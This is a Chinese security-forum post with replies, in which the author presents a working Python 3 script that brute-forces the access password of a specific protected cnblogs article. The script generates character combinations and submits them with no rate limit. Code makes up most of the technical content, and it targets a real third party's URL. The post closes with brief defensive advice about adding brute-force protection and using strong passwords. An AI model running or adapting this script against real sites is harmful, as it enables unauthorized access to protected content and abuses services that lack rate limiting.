首页
社区
课程
招聘
[原创]一个最简单的博客园文章密码暴力破解器-python3实现
发表于: 2016-6-15 05:13 3199

[原创]一个最简单的博客园文章密码暴力破解器-python3实现

2016-6-15 05:13
3199
一个最简单的博客园文章密码暴力破解器-python3实现

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10次密码错误,所以我改拿博客园练手。
博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,
要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,
这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。
2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?
python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,
product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

代码如下:
"""
python3暴力穷举密码
2016年6月09日 04:39:25  codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post


#密码生成器
def psgen(x=4):
    iter = ['1234567890',
            'abcdefghijklmnopqrstuvwxyz',
            'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

            ]
    for r in iter:
        for repeat in range(1,x+1):
            for ps in product(r,repeat=repeat):
                yield ''.join(ps)


def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
    url = url.replace("/post/readauth?url=", "")
    for ps in tqdm(psgen(6)):
        try:
            rs=post(url,data={'tb_password':ps},allow_redirects=1)
            if rs.url == url:  #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
                with open("resut.csv","a+") as f:
                    f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
                break
        except:
            sleep(1)
            pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:
1、密码验证的地方适当增加一些防止暴力破解的手段。
2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (11)
雪    币: 115
活跃值: (23)
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
2
可以!!!
2016-6-15 08:55
0
雪    币: 168
活跃值: (100)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢反馈
2016-6-15 10:07
0
雪    币: 1787
活跃值: (340)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
膜拜 codegay.... 确认不是codeguy?
2016-6-15 10:08
0
雪    币: 168
活跃值: (100)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
code gay的说法出自美剧 <硅谷> 第二季中的某一集。
其中某男主角和妹子上床时候时硬不起来,要对着电脑屏幕看着另一个主角的代码才能硬。。。
2016-6-15 10:32
0
雪    币: 135
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
楼主怎么知道密码是6位?
2016-6-15 14:14
0
雪    币: 168
活跃值: (100)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
****************
2016-6-15 15:01
0
雪    币: 168
活跃值: (100)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
....bathome那边有人用个bash 加字典跑出密码了了。
2016-6-15 16:50
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
987654321
2016-6-15 17:03
0
雪    币: 144
活跃值: (178)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不需要验证码??
2016-6-15 20:15
0
雪    币: 168
活跃值: (100)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
只是博文密码,不是登录。
2016-6-15 22:55
0
雪    币: 396
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不错,赞一个!
2016-6-16 14:50
0
游客
登录 | 注册 方可回帖
返回
//